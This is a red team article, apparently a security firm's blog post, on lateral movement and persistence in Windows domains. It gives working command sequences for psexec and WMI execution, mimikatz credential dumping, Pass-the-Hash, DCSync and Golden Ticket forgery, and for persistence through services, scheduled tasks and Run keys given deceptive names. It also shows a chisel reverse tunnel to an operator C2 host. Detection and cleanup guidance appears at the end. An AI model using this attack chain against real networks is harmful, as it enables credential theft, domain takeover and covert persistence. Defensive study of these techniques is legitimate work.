Lateral Movement and Persistence: The Decisive Red Team Phase

1. Introduction

Lateral movement and persistence Red Team operations mark the difference between a contained incident and a total breach: this is the phase where the adversary abandons the initial foothold, moves across the network with stolen credentials, and secures a second entry even if discovered. In any professional engagement, lateral movement and persistence Red Team planning decide whether the exercise becomes a real demonstration of risk or a simple intrusion drill. This article covers that decisive phase with a hands-on approach: movement techniques with psexec, WMI, and Pass-the-Hash, persistence mechanisms that survive reboots, pivot tunnels with chisel and SSH, and the detection and cleanup measures that close the cycle of an operation.

Many teams pour all their resources into initial access and forget that lateral movement and persistence Red Team dynamics determine the total dwell time: the more movement and the more persistence, the deeper the damage. This article is the practical guide to that phase, written from the perspective of a real Red Team operator.

2. Lateral movement and persistence Red Team planning in the attack cycle

In the MITRE ATT&CK framework, lateral movement (TA0008) and persistence (TA0003) are consecutive tactics that turn a single entry point into network dominion. A professional Red Team plans lateral movement and persistence Red Team techniques before even launching the first phishing campaign: it chooses the jump hosts, the target users, the remote execution tools, and the persistence mechanisms, because every decision affects evasion of the Blue Team’s controls.

The relationship between both tactics is intimate: lateral movement and persistence Red Team operations share credential infrastructure, files, and services. A stolen domain account serves to hop between machines and to plant a scheduled task that guarantees re-access. That is why operators speak of a single mid-game playbook: obtain credentials, move, anchor persistence, and repeat the cycle until the objective is reached.

Time also matters: every additional hour of lateral movement and persistence Red Team activity exponentially increases the chance of detection. Techniques must be chosen according to the noise they generate, from the almost invisible WMI to the noisy psexec, and the operator must calibrate when each tool is worth the risk.

3. Lateral movement techniques: psexec, WMI, and Pass-the-Hash

3.1. Classic remote execution with psexec for lateral movement and persistence Red Team jumps

Remote execution with psexec remains the most widespread lateral movement technique: it creates a temporary service on the remote host, runs the command with the service privileges, and cleans the trace. Its counterpart is generating numerous events 7045 and 4697 on the target machine, something a properly configured SIEM detects instantly:

# Remote command execution on a host in the application segment
psexec.exe \\srv-app-01 -u corp.local\adm.carlos -p 'C0ntra2026!' cmd /c whoami

# Silent execution of our binary from a shared folder
psexec.exe \\srv-app-01 -u corp.local\adm.carlos -p 'C0ntra2026!' \
  -s -d \\dc-01\c$\temp\amsi-check.exe

Fig. 1 – Lateral movement with psexec against an application server in the lab.

In the real lab operation, the lateral movement and persistence Red Team session over srv-app-01 exploited precisely the fact that the adm.carlos account was a local administrator of the three cluster servers, a configuration failure found during BloodHound enumeration.

3.2. WMI: the quiet lateral movement channel

When lateral movement and persistence Red Team activity must stay under the noise floor, WMI (Windows Management Instrumentation) is the natural choice: it executes remote processes without creating services, without dropping files on disk, and with very few events beyond legitimate administration. Remote execution with Win32_Process is straightforward from any Impacket install:

# Remote execution with WMI from Linux (Impacket)
python3 wmiexec.py corp.local/adm.carlos:'C0ntra2026!'@192.168.1.21 'whoami'

# Remote execution with WMI from Windows PowerShell
$cred = Get-Credential corp.local\adm.carlos
Invoke-CimMethod -ComputerName srv-app-02 -ClassName Win32_Process \
  -MethodName Create -Arguments @{CommandLine='powershell -enc SQBFAFgA'} -Credential $cred

Fig. 2 – Lateral movement with WMI without creating temporary services on the target host.

Detecting this vector requires advanced correlation: event 4688 with suspicious command lines, WMI connections initiated from non-administrative hosts, and event 4648 with an unusual source. A SIEM that does not log these patterns leaves lateral movement and persistence Red Team operations invisible to its own eyes.

3.3. Pass-the-Hash: moving without passwords

The jewel of lateral movement in Windows environments remains Pass-the-Hash: with the NTLM hash stolen from an administrative session you can move without ever knowing the plaintext password. Extracting with mimikatz and injecting into a local session is the classic combination that sustained our lateral movement and persistence Red Team chain across hosts:

# Dump hashes from the compromised host
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Inject the administrator hash into a new PowerShell session
mimikatz.exe "privilege::debug" \
  "sekurlsa::pth /user:adm.carlos /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:powershell" "exit"

Fig. 3 – Pass-the-Hash with mimikatz to continue lateral movement across network segments.

This vector is stopped by Credential Guard, unique local administrators per machine (LAPS), and restricted delegation hops; in our lab, however, the complete lateral movement and persistence Red Team chain ran because none of the three controls was deployed.

4. Persistence: securing re-access after lateral movement

4.1. Services, scheduled tasks, and Windows Registry

Persistence turns lateral movement and persistence Red Team presence into a permanent position: the operator guarantees a second entry every time it is needed, even if the original foothold is closed. The most common mechanisms rely on services that start with the system, scheduled tasks with discrete triggers, and Run registry keys:

# Create a persistence service with sc (believable name)
sc.exe \\srv-app-01 create "SrvMonSvc" binPath= "cmd /c powershell -enc SQBFAFgA" start= auto

# Scheduled task that runs the payload every 4 hours as a service user
schtasks /create /tn "CheckForUpdates" /tr "powershell -enc SQBFAFgA" \
  /sc hourly /mo 4 /ru svc-monitoring /rp 'MyPass1!'

# Registry persistence for session startup
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
  /v OneDriveSync /t REG_SZ /d "powershell -enc SQBFAFgA" /f

Fig. 4 – Typical persistence mechanisms after lateral movement: service, scheduled task, and Run key.

The names mimic legitimate system components, because in every real engagement, lateral movement and persistence Red Team design also targets SOC operators: a task called CheckForUpdates passes any first-pass triage with ease.

4.2. Golden tickets and domain-level persistence

The ultimate persistence is played at the domain level. With the krbtgt hash, a Golden Ticket grants full access for as long as the operator decides, even if user passwords are rotated; with an ad hoc account placed in a privileged group, re-access is immediate. In the lab, lateral movement and persistence Red Team work ended with the forgery of a Golden Ticket signed by the same krbtgt and valid for the whole domain:

# DCSync the krbtgt hash from the DC
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"

# Forge the Golden Ticket with 10 years of validity
mimikatz.exe "kerberos::golden /user:adm.phantom /domain:corp.local \
  /sid:S-1-5-21-3823548243-928564172-1051963172 /krbtgt:5e2af9e4... \
  /ptt" "exit"

Fig. 5 – Golden Ticket: total domain persistence after the lateral movement phase.

5. Pivoting and tunnels: extending the operation

To reach isolated segments, lateral movement and persistence Red Team operations require pivoting: turning an intermediate host into a springboard toward the administrative network. chisel is the standard tool for its ability to tunnel HTTP over outbound connections, and OpenSSH is the plan B on Linux networks. In the operation, the compromised host became a bastion with chisel, and from there we jumped into the administration segment:

# chisel server on the Red Team machine (listening on 443)
./chisel server -p 443 --reverse

# chisel client on the compromised machine (outbound connection)
./chisel client https://redteam.c2.local:443 R:127.0.0.1:1080:socks

# Use the SOCKS tunnel to attack the administration segment
proxychains4 -q ssh operator@dc-01 "whoami"

Fig. 6 – Reverse tunnel with chisel to extend lateral movement and persistence Red Team reach into the administration segment.

The choice of port 443 is not accidental: the traffic leaves as HTTPS and bypasses the DMZ egress filters. The Blue Team hunting this tunnel must watch persistent connections to uncatalogued external domains and suspicious TLS certificates.

6. Detection and cleanup: closing the loop

Defensive maturity is measured by the ability to see lateral movement and persistence Red Team techniques in time. The following table crosses each technique with its signals and controls:

Technique	Detection signal	Recommended control
psexec	Events 7045 and 4697 for new services	Alert on service creation outside maintenance windows
WMI	Events 4688 and 4648 from non-administrative hosts	Correlate WMI sources against an admin whitelist
Pass-the-Hash	Inbound 4624 with identical hashes from multiple sources	Credential Guard, LAPS, unique local administrator accounts
Services and tasks	7045 or scheduled tasks with unsigned binaries	Code signing and AppLocker/WDAC rules
Golden Ticket	4768/4769 with anomalous properties	Rotate krbtgt twice and monitor critical events
chisel tunnels	Persistent outbound connections to unknown domains	Corporate proxy with TLS inspection and DNS whitelist

Cleanup is the hidden side of the operation: uninstall services and tasks, delete the loaded binaries, remove the created accounts, and revert every registry change. To minimize residual damage to the client network, MITRE ATT&CK’s lateral movement definitions and Microsoft’s security baselines remain the reference framework every team should consult before executing and after reviewing each lateral movement and persistence Red Team step.

7. Conclusion

Lateral movement and persistence Red Team work is the phase that separates a professional team from an opportunistic attacker: it demands planning, silence, and deep knowledge of adversary telemetry. We covered execution with psexec, WMI, and Pass-the-Hash, persistence through services, tasks, registry, and Golden Tickets, and pivoting with chisel to reach isolated segments.

The lesson for defense is that lateral movement and persistence Red Team activity is only detected when telemetry is oriented toward it: service creation events, anomalous WMI connections, reused hashes, and persistent external domains. And for the offensive team, cleanup discipline turns a brilliant intrusion into an impeccable operation. If your organization wants to measure that risk with authoritative criteria, SANS guidance on red teaming is the recommended starting point for any serious engagement.

Need help with Lateral movement and persistence Red Team?

At Jaymon Security, we help organizations protect their systems. From security audits to SIEM/SOC implementation, our expert team designs custom solutions.